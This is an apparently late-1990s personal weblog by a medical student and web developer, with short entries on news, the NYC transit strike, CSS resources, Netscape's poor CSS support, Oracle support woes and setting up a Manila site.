Huh? I mean, I didn’t have access to all the information or evidence, so I can’t really comment on the no-verdict part. I just hope that the jury didn’t buy into his argument that his dirty talk and planned triste with the ostesible 13-year old was due to the high stress of his Internet job.

Darn it all, the Shuttle launch has been delayed again.

Darwin was right — there is a natural selection that works against idiots. Did he really think that issuing a death threat under an assumed name on the Web was an undefeatable disguise? Of course, then there’s this guy who used a harmless baby python in a holdup

CamWorld’s new design is quite nice, and I like the little light popping out of the box on his banner.

I go away today on another interview series (Cleveland & Chicago). But, then again, my T1 is down this morning, so I couldn’t really update the page from home this morning if I wanted to. Alas, my laptop will be with me, so I can update when I get to Cleveland today (the power of Manila).

Of course, every time a dedicated line goes down here in NYC, it means another struggle with Bell Atlantic. This time, they couldn’t generate a trouble ticket when I reported the problem because the system was being backed up, then once they were able to generate the ticket, they didn’t have enough time to get to the apartment before I had to leave for the airport, and now, they’re completely unwilling to test all of the equipment outside of the apartment unless they are also guaranteed access inside the apartment (which is tough, since I’m in Cleveland). Bleah.

Something I’ve learned over my 3 1/2 years of med school is that living unrelated organ donation is an ethical minefield for doctors and hospitals. With organ shortages and presumed denial of donation at death, people go to great lengths to get organs for themselves and their loved ones, and hospitals have to at least try to screen out people who are attempting to circumvent the process.

The House is looking into hearings about the judges’ deciding not to disclose their disclosure forms. I agree with their motives here — “Judges may not have anything to conceal, but the perception is such.”

Jason Kottke has himself one of uReach’s free toll-free numbers, and has been inviting people to leave him dirty messages. Yesterday (12/14), he posted all of the messages that he’s received, and the actual presentation is quite cool. The messages, though, are quite tame; I, too, encourage people to call him at (877) 218-0260, if for no other reason than he’ll post the messages and we’ll all get a good time out of it.

Something like this is in the news every year or so, and it makes me wonder why people do it… it can’t be that exciting to pull people over. And does the guy have a fake ticket book? What happens when those people then show up to court? Weird.

Windows 2000 is released to manufacturing. I’m actually pretty durned excited by this — it looks to be a very nice upgrade, at least for the things that I do and the systems that I run.

There’s a tentative deal in the NYC MTA strike. (The deal is the only reason that I got to Cleveland; otherwise, I didn’t really see how I was going to get to the airport. I just hope the deal’s still in place when I fly back…)

Good grief! Charles Schultz is retiring Peanuts, after 49-plus years of influencing, reacting to, and generally making more pleasant American life. It ran in over 2600 newspapers weekly, which is just an astounding number. I wish him the best of luck and health, and will sorely miss the gang.

The judges today deny APBNews’s request for disclosure documents. I think it will be very interesting to watch this issue as it winds its way through the court system; the interplay of this being an issue about judges, being decided by judges, will be particularly interesting.

Marv Albert returns to the NBA on NBC. I always loved listening to him broadcast games, and his return to Turner Broadcasting made me pretty happy.

The theory of relativity explained using words that are all four letters or less. One of the best reads that I’ve had in a while, but even simplified, I got lost along the way, had to reread, think, reread, exclaim “Oh!”, and continue.

There’s just no way that this company, and their product, can be real. (Warning: R-rated material!)

Ranting on Vignette’s Story Server, Dave Winer today continues to maintain that it’s an offensive product in part because its initials are SS (just like the Nazi secret police). So I guess that we should give up on the Space Shuttle, burn the movie Slap Shot, never go to Shea Stadium, rant about the kids who wrote Sailorme Select as a school project… or just stop reading things into places where they don’t exist.

Speaking of Shea Stadium, it definitely would have been more fun to watch Griffey out there!

Another tech executive arrested for allegedly intending to consort with a minor. I hope we’re not seeing the start of a trend here… ugh.

It seems that they they finally found the disk corruption bug in the stable tree of the Linux kernel. I found this fascinating, mainly because linux-kernel conveyed the frustration of the people involved quite well as they moved from not knowing what was happening to having a fix in hands.

New York City schools have been keeping dead children on the rolls in order to inflate state aid payments, Governor Pataki alleges. (There’s a lot of politics in and around the NYC school system.)

There’s now a restraining order to “prevent” a NYC MTA strike, but it appears to exist just to allow the city to punish those who do strike, not to really prevent them from doing so. The restraining order puts the fines at: $1 million a day against the union, $25K a day against every member who strikes, and $10 million to cover the Board of Education’s expenses. The numbers double for every day of the strike. Those are biiiiiig numbers…

Does anyone have any good pointers to resources to make a computer more kid-friendly and kid-proof? (Things like command shells that minimize the effect of a three-year-old banging away on the keyboard, or hardware that’s more kid-friendly, like colorful keyboards.) Feel free to post in the discussion group, or mail me.

It seemed that Dave was “telling me off” somehow the other day, but now he and Charlie Wood, maker of Vignette, are doing the same thing that Jason Kersey and I were doing…

Today’s Suck is great. I’ve been waiting for a good parody of slashdot for a while.

Bob Young writes to tell us that Red Hat has reported its first quarterly income. “I was walking from my office to the confrence room when I found a 25-cent piece lying on the ground. Instead of putting it in my pocket, I added it to the company’s balance sheet and, well, I think that kind of revenue stream more than justifies our stock price.” And cynics said that “free” software couldn’t make money!

We’re starting a discussion about appropriate uses of CSS within Manila, for those who are interested; I encourage all who are to participate, since this could well shape the innards of the product that we all have grown to love!


Yay! I was beginning to think that the Shuttle would never fly again…

Since we’ve been on the subject of browsers, CNet News has an article about bugs in both major flavors today. (People tend to blame the MSIE bugs on the prevalence of ActiveX in the browser, but all of these bugs seem to be legit plain programming errors in the code of the browser itself.)

My friend yesterday passed on a link that I had totally forgotten about, but is still one of the funniest things on the web. The video isn’t HandiCam-quality, either — it’s movie quality, and quite well put-together.

The articles and commentaries that are coming out of the GOP campaign are great. Salon has a funny quiz meant for Bush today, in light of his answer to the now-famous what-book-are-you-reading New Hampshire debate question. Meanwhile, Barbara Bush’s comments seem to indicate that, so long as you work hard in college, a little cocaine is a just reward. And while I feel sorry for Alan Keyes’ seemingly impossible goal, this is funny.

I love The Onion. They can make me laugh almost on command.

The Non-Dithering Colors by Hue page could well be my second-most-used HTML development resource (with Index Dot HTML being the first).

An ugly chapter in New York City’s history comes to a close (except for Volpe, for whom it’s just beginning, in relative terms).

It seems that progress is being made in the NYC MTA strike negotiations. (Also, a CNN article raises an issue that I didn’t know about — the fact that there’s a law, the Taylor Law, that could lead to pretty big punishments of striking union members. Interesting; I’d love to know more about it.)

[Macro error: Can’t evaluate the expression because the name “title” hasn’t been defined.]
— This may be the best, by far, to learn CSS — it’s a handbook of sorts, that walks you through CSS development. This is where I got my start with CSS.
— This is a grid of CSS support by browser put together by WebReview. Good when you have to figure out why a feature isn’t rendering right, or if you need to develop for a specific browser and don’t know what features aren’t supported right.
— Once you have a handle on the format and syntax of CSS, this is, BY FAR, the best reference source. It comes from Brian Wilson, who does Index Dot HTML as well; it’s a clikable dictionary of CSS terms and what they mean, and also contains browser peculiarities for each. Great, can’t say enough about it.
— This is Microsoft’s reference source. I use it a lot since I have to develop for IE for most of my projects; other than that, though, it is a great place to see what features are out there, and to see code examples of each.
— This is the official W3C resource for CSS. It has their reference sources, and a good what’s new list of things that have to do with CSS (new browsers, editors, and the like).
— This is a community-run website (the community being the people from comp.infosystems.www.authoring.stylesheets) that serves as a clearinghouse of CSS information. Very thorough.

— The newsgroup. Said to have less meaningless chatter than a lot of Usenet newsgroups these days.

One of the things that frequently amuses me is the holier-than-thou attitude that people adopt here and there, when it’s convenient to their current stage in life. Especially when it’s by people who regularly engage in that which they mock.

The Spurs lose to the 6 and 16 Washington Wizards, and they do so at home (which they had not done in 22 games). Oh, the embarassment, especially since my brother-in-law is a Wizards fan.

It seems wrong that our current domain name system cannot handle something like this.

These people are my heroes. It’s funny, every member of my family has become addicted to Law & Order on our own, without the help of each other. Strange.

American Beauty was named the best film of the year by the National Board of Review. (I don’t know who the NBR is, but I do agree with their choice!)

This is slightly funny, in an eerie sort of way. (I still like that damn chihuahua.)

The Oracle saga continues — after I left work on Friday, they called to tell me that the product that I ordered, and about which we had spoken about two dozen times, is out of stock. Shocking, but increasingly typical.

In light of my clear pro-CSS stance, a few people have asked me for pointers to good resources, either for learning CSS or to use as a reference. I’ve put a list together, and encourage others to add to it as they see fit. The more people we get using CSS, the more bugs will be worked out of the browsers, and the better sites will look.

I feel like there’s no way that I can support a company like eToys, who sued and got an injunction against a European group of performance artists who use Never mind that was registered a full two years before, or that they’re not even in the same business, or that eToys apparently asked to sell them their domain name and was turned down. Total children, and this is not an online neighbor that I’m happy to have around. (Wired has a good recap of events, as well.)

Seemingly good places to spend your toy money online: Noodle Kidoodle (I love their Manhattan stores), Zany Brainy, Toys To Grow On, and KB Toys.

For those of you familiar with New York City: this time of year is always a little more hectic, with the increased numbers of shoppers, tourists, and conventioneers. But I’m a little terrified of what will happen if the MTA decides to strike this week. Rudy has put together an interesting contingency plan if it does happen; let’s just hope it doesn’t get that far.

A lot has been written recently which purports that people just don’t seem to understand what it takes to make Mozilla into the best, and that we all just need to pipe down about the problems in both the currently-shipping Netscape browser offering and in the development cycle for Mozilla. (Some of this seems to stem from my postings and comments on this issue over the past week.)

There are a few major problems with the line of thinking that’s driving the current Mozilla/Netscape/AOL defenders:

  1. Netscape, whether or not they want to say so, should feel like they have at least an iota of responsibility for fixing the major showstopping bugs in their currently-shipping product. Here, I am referring to pages with up-to-spec CSS just plain crashing their browser; the fact that a developer contacted them to ask them to help, and their response was that they were too busy on ther next version to fix this, is just abhorrent.

    Imagine if Microsoft Word had a bug where opening up a document saved in a prior format just crashed the application. Now imagine if, when contacted, they said that they wouldn’t bother fixing it, because Office 2001 is currently in development, is a new code base, and people can just wait for that. I guarantee that you’d read about the ensuing fracas on major computer news sites, Slashdot, and possibly even on Scripting News — because it’s Microsoft that’s involved. The fact that Netscape is the company here that’s making a totally stupid decision is what is making people defend them. They’ve got a good thing going, I guess. (I imagine, though, that the real reason that nobody cares about this is because Dori’s right — Netscape is irrelevant, and thus, nobody is even bothering to lift a finger.)

  2. While the Mozilla group claims that things are moving so slowly because, for once, they’re trying to do it right, what they in fact are doing is adding more bloat, features, and doo-dads to the application that don’t matter, and methinks this is what’s taking so long. Sure, it will be a browser. It will also be a mail client, a news reader, an instant messaging client, a voice-over-IP client, a client for news, travel, and financial data, a portal, and possibly will make your bed for you. The scariest quote from the above-quoted PC World article:

    Netscape says it will more heavily leverage AOL properties, including shopping sites, from within the browser. Netcenter services are also being more tightly woven into the browser, along with many “modular” add-ons that will let users tailor the browser’s appearance.

  3. Netscape’s gotta take the bad (or what they see as the bad) with the good. By choosing to make the Mozilla development process a public one, they have opened themselves up to public criticism of that process. And given both that their current browser is terrible and that the product of the Mozilla development process doesn’t look to be anything like what I want to use in my daily browsing life (and, so far as I can tell, this amalgam of tools lumped into one app isn’t what most web users want to use either), I feel like web developers are getting shafted. Thus, criticism.
  4. No matter what they use to justify their current timetable of development and lack of willingness to fix their current browser, or what my or anyone else’s opinions are about their strategy, Netscape surely should realize that their continued path can only lead to irrelevance. StatMarket’s one-year trend graph of Microsoft vs. Netscape is pretty telling — as Netscape dawdles, Microsoft wins. (Note that I’m not particularly pro-Microsoft on this issue except for the fact that Microsoft’s browser is clearly a better one. If BrowserCorp or WebCompany or HTML’R’Us had a browser that did CSS and was quick and didn’t crash and was free, then that graph would probably look a bit different, and I’d feel a bit different.) We can all argue and argue and argue on this, but in a year, I’m willing to bet that even with Mozilla on the scene, that graph won’t look too different, and as a developer, I’ll still be developing sites predominantly for MSIE.

So, in the final analysis, it’s interesting to me that the people who put forth the lament that people just don’t understand what it takes to make a better browser clearly believe that this whine will change reality, and that people will take a step back and stop switching away from Netscape and to other browsers. People probably feel bad for their plight, but this doesn’t appear to be a strong enough reason for them to stop fleeing Netscape’s product.

(And as a postscript meant specifically for I’m running Mozilla on three different platforms, but I’m not seeing anything groundbreaking, and I’m not tempted to switch. Oh, and your comments regarding AOL’s blocking of AIM interconnections demonstrate a fundamentally flawed understanding of AOL’s own statements, releases, and actions earlier this year; your snide remark about the BetaNews user comments smacks mostly of the “I can’t defend someone so I’ll insult their attackers” mentality.)

[late note: I posted a followup to this diatribe at this location in the discussion group.]

Late start to the morning — company Christmas party was last night, and even though I didn’t drink all that much, I feel like I did. But now, my favorite radio program, Filet of Soul, is on WBGO, which is a good way to wake up on any day.

A little afternoon whining from a new EditThisPage.Com site about some web developers’ reactions (including mine) to Mozilla and Netscape. I didn’t feel like inundating all of you with my response if you don’t care about the issue, so you can read it here if you are so inclined.

So, the judges are at it again. Seriously, how can these people justify not letting the disclosure information out? It was intended for public consumption, and now that someone wants to help the public consume it, all of a sudden things have changed. My favorite bit of this article, about how the meeting was closed to the public and the press:

An reporter was instructed to wait in the enormous glass atrium separating the two halves of the office complex. Three hours later, a security supervisor informed the reporter that he was “loitering” and would have to leave the premises. “You have been observed by persons in this building standing here for several hours and that you are therefore loitering,” said the Admiral Security supervisor, who did not identify himself.

Patrick Naughton’s jury started deliberating yesterday. He’s claiming that his interest in the ostensibly-13-year-old girl was “purely fantasy, an escape from the stresses of [his] successful career.” Ick.

One of the coolest things on the Web: a real Magic 8 Ball, being shaken by a Lego MindStorm robot underneath a webcam. And I love his motto: “50,000 years of technological advancement has culminated in a system to bring you mysticism on demand.”

The hands-down mack daddy of all CSS resources. Brian Wilson is The Man.

Is it just me, or has the linking to epinions died down a lot? Not so long ago, it seemed like everyone and their mother was linking to their reviews on epinions; now, a nice calm break in the storm. Please tell me that things will stay this way…

Has anyone been able to get their hands on the Lucent WaveLAN Turbo wireless networking cards? The Silver card is what is inside of the Apple AirPort base station, but other than that, I have not been able to find any retailers or distributors who have stock yet on these. I also would love to hear from people who have gotten their hands on the ethernet bridge that’s part of this line. (mail me!)

A gracious thank you to Dave Winer, for his comments in today’s Scripting News.

State of Mind: the online radio station that I spend a great deal of time listening to, Dreamland Radio, has the Peanuts theme song in their rotation. Every time that it comes on, I feel good. I like that.

I just got my new Hot Little Therm, and am still just as happy as when I got the first. It’s just so durned cool. (For more info, see my blurb from yesterday.) And if you want to see the end-result of my Hot Little Therm project, check out QuesoTherm — it’s the server room temperature monitor project I mentioned yesterday.

Andrew Woolridge’s posting to Discuss.Userland.Com demonstrates the mindset that scares me about Netscape. He waxes poetic about the high standards that Netscape is shooting for on their 5.0 “offering”, when there are serious problems in their current browser that they’re unwilling to address. And his parting comment about being the only Linux browser feeds my perception of Netscape as a company that will answer your criticisms with comments of “at least we’re good at something else!”. I cannot wait for Opera to come out for Linux — then Dori will be right, Netscape will be irrelevant.

My beloved Spurs break their losing streak against Vancouver last night. Thank GOD, but it’s a little depressing to me that it took a 42-point game from Tim Duncan to beat the 4-15 Grizzlies; methinks that Avery Johnson was right when he said that the Spurs have yet to come down off of the ego-high of winning the NBA Championship last year.

From the Not-So-Cool-Unless-I-Were-The-One-Getting-It department: today, Palm Computing will receive the six millionth U.S. patent in a ceremony in Washington D.C.. (It’s for HotSync.)

I have always been convinced that there are certain classes of people who are destined to go straight to that hot place down below, sans the benefit of judgment — nun killers, church vandals, and now, women who steal stuffed animals and other momentos off of graves.

Years and years of therapy.

Something goes right in space (although it’s not the U.S., and it’s not a Mars program, so this isn’t all that fair a comment).

I know that I can’t be the only one who’s a little despondent over the silent little electronic critters that are sitting on the face of Mars right now (or perhaps the burnt shards of them?), desperately searching for home. I sure wish that we all could have heard the sounds coming out of the Mars Microphone… that would have been as cool as seeing the video from the Pathfinder mission.

So, three or four days ago, going to brought you to, well, Then, going to brought you to Now today, we’re back to What gives?

OK, time for me to vent a little. Oracle is a terrific database company, I won’t take that from them, but they are a terrible customer support company. We pay over $20K a year for our customer support contract with them, and for that, we get tech support cases that are ignored or closed without consulting with us, orders for new software that just go unfilled, and pretty terrible tech support agents to boot. I told them today that they are one bad call away from me migrating completely to Microsoft SQL Server; I don’t know that the support will be any better on that side of things, but I do know that I cannot spend this kind of money on Oracle and get the terrible service that I do.

Quick update before I hop on the plane home: the interviews went great. UNC has a pretty top-notch pediatrics residency program, with some incredible teachers, motivated residents, and interesting patient population; they also are currently building a brand spankin’ new freestanding children’s hospital that is planned to be open around this time next year. And in the something-I-hadn’t-anticipated department, schools are seemingly very interested in potential residents with strong computer backgrounds. I really should have been able to guess that, but I never really thought about it.

You know this guy was just doing it to see if he could. Really, there’s no other explanation.

AAAARGH! It just hit me that, due to my flight and pre-interview stress, I completely forgot that Law & Order was on last night. Was it a new one? If you saw it, please let me know!

Is anyone else as chapped as I am about the judge who has placed a ban on the release of judges’ disclosure information? It appears that this man is all for the release of the information when it isn’t going to be all that useful, but when it comes to someone wanting to put it closer to the hands of everyday citizens, he’s against that. Should judges be allowed to be in charge of the decisions about things this closely related to their own personal interests?

So, one day a few weeks back, the air conditioners in our brand-spankin’ new server room here decided that they didn’t like to be on all the time, so they conked out. And the temperature got to somewhere around 140 degrees. Not good. I then went shopping around, and found the coolest little gadget ever, the Hot Little Therm. Made by SpiderPlant, it’s just a little box that attaches to your serial port; out of it come one-plus thermometer probes. Programming the thing is a dream; I now have a machine that feeds temperatures every minute into my Oracle database, and a web page that gives me up-to-the-minute temperature readings as well as varied highs and lows. Pretty swank, and completely trouble-free. I recommend this thing highly.

Yet one more reason I currently hate Netscape. The style sheet for this page had “margin-left: 20px” within the style for P.quote; I had to remove it because with that one line in, Netscape stopped showing the calendar at the right of my page. (Try it yourself! This link is a static version of this page, but with the offending line in the style sheet. Open it in Netscape, and you probably won’t see the calendar on the right.) I’m running Netscape 4.6 on Linux and 4.7 on Win32; both have the problem. If your mileage varies, or if I am just doing something plain wrong, please mail me. (For more on my problem with Netscape, read Don’t cry for Netscape.)

Interestingly, I tried “margin-left: 10px”, and Netscape did show the calendar, except it was off to the right past the right margin of my window; I had to scroll right to see it. Why is Netscape’s product so bad when it comes to CSS?

Today, I’m headed to North Carolina for a pediatrics residency interview, so wish me luck! It’s at UNC, which has a pretty terrific program, and the cool part about it is that I am staying with an old medical student of my mother’s, who has two kids of her own and is a part-time pediatrician to boot. So circles are closing, and hopefully, karma is on my side.

A terrific article from Slate on the Phoenix GOP debate. By far my favorite quote (which is something that I have been bemoaning since the day I first heard the man speak):

One lesson Bush obviously did not learn from Dean Acheson is how to form a grammatical sentence. Maybe he does better in Spanish, but the man can barely speak English. W.’s most common difficultly, as in the above passage, is with noun-verb agreement. When he gets even slightly worked up, he can’t arbitrate between his seeming need for a plural verb and his seeming need for a singular one. So he uses both, as in his favored expression “are is.” Bush also commonly removes the “to” from infinitives, as with “in order promote the peace.” Syntax is not his friend.

This is somewhat scary. I was about to make a comment to the effect that this is why I don’t want to stay in NYC once I’m ready to have and raise kids, but I realized that there’s no reason why this is a pure NYC phenomenon… and I could easily envision this anywhere where schools are under pressure to raise their competency level marks.


I know, I’ve seen links to this before, but I just read more about it and it looks to be the coolest new technology that I’ve seen in a while. Some of it may be that the disks need to be transparent in order for it to work, which just makes them look that much cooler; another part of it may be that I just cannot envision the amount of storage space that they’re talking about — it’s like trying to envision the size of space (as in the stuff beyond the exosphere… or is exosphere space? I never can remember that one.).

Oh, and one small plug for my favorite online radio station (if only Live365 could keep their stuff together!).

Just a little late-night rambling, after running up against numerous walls…

CSS and web design

If you haven’t used or read about Cascading Style Sheets before, I urge you to jump on that bandwagon now. Designing web pages and web sites with consistent looks and feels has never been easier; CSS has changed my life.

For those of you who don’t delve into the depths of HTML that often, suffice it to say that long ago the division between content and design was lost on the Web. One document held both — and this meant that maintaining the same design elements and paradigms on anything but the simplest web page was a challenge, and doing so across a site or two was near impossible. But then, CSS came along, and let you put the design markup in a different document (a Cascading Style Sheet), and then have your web pages (your content) reference that style sheet. Voila, easier and more consistent design.

Imagine being able to create a page with a few similar tables, and not having to specify the cell padding and cell spacing for each one. Imagine writing a daily document or note, and being able to format each part of the document or note the same every time, without having to specify all of the elements of that formatting each and every time. Imagine being able to change the font of your entire website with one single edit to one single document. It’s all possible with CSS.

Who, us, CSS-compliant?

Unfortunately, since CSS is rendered on the client end of things, it’s up to the browsers to do the right thing — and Netscape is woefully inadequate at that task. Between a plain lack of support for basic elements (A pseudo-classes, background positioning, table borders) to buggy support for most others (background coloring of elements, text-align, margins) to a ridiculous lack of element inheritance rules, Netscape’s inability to release a CSS-compliant web browser is doing more to damage the development of web pages and web sites and web applications than anything that Microsoft has done. Right now, as a web developer, designing a nice web page that is intended to render both similarly and adequately on all machines is difficult at best, and impossible at worst.

I wish that I remembered which online magazine ran a great article recently about a developer who found that most of his pages were crashing Netscape completely. He called Netscape, and their answer was that they were way too busy working on version 5.0 to fix these bugs; essentially, they wanted him to understand that, since 5.0 is a complete rewrite, the chances of his pages crashing the new version would be lessened. Of course, since this week’s InfoWorld puts the alpha date for Mozilla at the end of this month, and the beta date sometime in February or March of this year, the developer has just banned Netscape from his site (he was sick of people cursing him out for crashing their browser).

(I still don’t remember what magazine ran the article, but the developer they were talking about was Jeffrey Zeldman, and his article about his experiences is a must-read. He subsequently has allowed Navigator users back into his site, with what appears to be a much-degraded design for them.)

It’s no wonder that users are flocking to Internet Explorer.

Oh yeah, and as of three days ago, you can download the platform preview of Internet Explorer 5.5 for Windows from the MSDN member downloads site. Great job, Netscape.


A great resource for budding and veteran CSS users alike is WebReview’s master grid of CSS support. It shows you which browsers handle what, and generally has some good notes to explain quirks that they’ve discovered. (My favorite, so far, is their note on Netscape’s inheritance “support”: “Navigator 4’s inheritance is unstable at best, and fatally flawed at worst. It would take too long to list all occurrences, but partiularly troublesome areas include tables and lists.”)

Another great resource: Index Dot CSS. This is a sister site to Index Dot HTML, which has long been my favorite HTML markup reference site.

Microsoft’s Web Workshop on HTML, DHTML, and CSS is a good reference and article site about lots of broad and narrow CSS topics (as well as just plain the most exhaustive reference for every single little itty bitty attribute of every single HTML, DHTML, and CSS element you can think of).

The XML version of Q Daily News (ready to flow into syndication systems) can be found at the address The format of the XML file is <scriptingNews> 2.0b1, the format defined by Userland and Netscape, and used by My.Netscape and My.Userland (among others).

There’s also an RSS version of Q Daily News, available at the address The format of this XML file is straight RSS; note that this is one of the stupider syndication formats, as it doesn’t allow more than one link per item, nor does it allow a syndication file to be greater than 8 Kb. (What I’m trying to say is that the RSS version of Q Daily News doesn’t contain everything for every day, so don’t use it unless you have to.)

If you have any issues with this, please feel free to mail me.

me in alaska

I’m Jason, and this is Q.

It’s my first attempt to share the sometimes-appropriate (usually-inappropriate), rarely-influential, always-honest thoughts that come to me throughout the day. For the most part, I keep Q going for myself — it’s the place where I can vent, talk about things that I’ve done, tell stories, put my pictures, and keep tabs on the things that interest me from day to day. (For example, the first family member of mine to find out about Q did so over a year after I started things here.)

As for who I am, that’s easy — I’m the middle child of three, a once-bashful-now-proud cat owner, the president and owner of Queso Technologies, a doctor, a pediatrics resident in New York City, a future pediatric hematology/oncology fellow in Boston, an employee of a magazine company also in NYC, and sometimes I sleep. If you’ve spent any amount of time reading here, you already know that I’m pretty damn smitten by Shannon; in addition to her, my friends, family, cat, jazz collection, computers, and DVDs make me a very happy person. And living in a rent-stabilized, big two-bedroom New York City apartment makes me very, very lucky.

On and off, I’ve been programming ever since I knew my name. Much later in life, I figured out that I couldn’t ask for a better life than to become a pediatrician. Now, I am feeling my way around trying to meld the two lives into one, and it looks like there are some really good opportunities out there.

Please feel free to let me know what you think.

(And if you enjoy mailing unwanted crap to people who don’t want it, check this out.)

This would be the home page of q. There’s not much here right now… I apologize for that, and look to remedy it soon.

I have written my first story, Don’t cry for Netscape. It was inspired by ramming my head into too many design walls while trying to make a page viewable in Netscape.

Scripting News Readers

Good morning to you all! The fact that you’re reading this is a testament to the power of Manila — I signed up for my site sometime yesterday afternoon, got a generic Manila site in return, started playing with the styles, layout, and prefs, and put up a page or two, all before going to sleep. Thanks to Dave for pointing you here; now I feel that I have a pretty big burden to keep things up to date and moving. So, without further ado…

Please, everyone, feel free to post to the discussion group in my absence!

My brief take on the configuration stuff

First, the configurability of this is pretty much great — I can’t host an environment-driven home page on most (all?) of the big sites and include a CSS section or JavaScript section on all served pages. That ability here is bigtime.

From my minimal playing with the prefs and things that I can configure, though, I have three wishes:

  1. I agree with Zeke; I wish that I had access to the class tags on the various markup elements; ‘twould make it much simpler to design a nice CSS for the whole site.
  2. I wish that the navbar on the left had all of its elements enclosed in <p> and </p> tags (as opposed to the current method of just terminating each with a <p>) — it appears that if I have a specific font size associated with the P element, IE on Windows will only apply it to the first such P element in a group if the paragraphs aren’t enclosed in full <p> and </p> structures. (So, when I started here, I had my paras rendering with 11-point type, but only the Home line was doing so, the rest were doing as they wished.)
  3. I wish that Netscape would come out with a browser that would even try to approximate usage of a CSS in a way that made any sense. (For example, if you’re using Netscape on the PC, I’m pretty sure that the navbar on the left has one font for the first item in it and another font for the rest, which assuredly is not how I designed it. And once I saw this list rendered in Netscape, I had to add an OL section to my CSS; for some reason, Netscape decided that a list doesn’t inherit the font-family property of the page itself.)

Who are my members?

My last wish (so far) is that I could conjure up a list of all of the people who’ve signed on as members to my Manilasite. (I originally typed that last word as a typo, meaning for there to be a space between the two words, but I like how it looks like that!) I can see where I can get a list of the people who’ve signed up and requested receipt of my bulletins, but I don’t see where the entire member list can be found. Am I missing something?

(I just found the /profiles link, but I still want a list on which I can see all on one page.)

Who are my peers?

I also think it would be cool if Dave and Userland put up a site that listed all of the people who have EditThisPage sites. That way, I could latch onto my peers like the remora that I am. Wait… cool idea forming… How cool would it be if one of the prefs for the site was that My.Userland.Com grabbed your changes, just like any other My.Userland.Com member?

A few questions…

What glossary am I tied in to? I would assume the big Userland one, but I have no idea.

Dave’s answer: both the Userland one and my own. Pretty awesome!

If I leave this hosting service, do I get to keep my .root file?

Dave’s answer: yep!

What is the URL to my syndication file?

Dave’s (and Brent’s) answer: /xml/scriptingNews2.xml; I now have it in the navbar to the left.


OK, this is too cool. I can see that I will be maintaining this site pretty well, since the whole edit-in-browser thing is way more addictive than I thought it ever could be.

I can also see that I can make this site look almost any way that I want it to — I can make it so that you can’t tell it’s a Manila site, if I want! (I can see how this would be pretty attractive to big companies out there who want to totally control the site structure and look-and-feel.)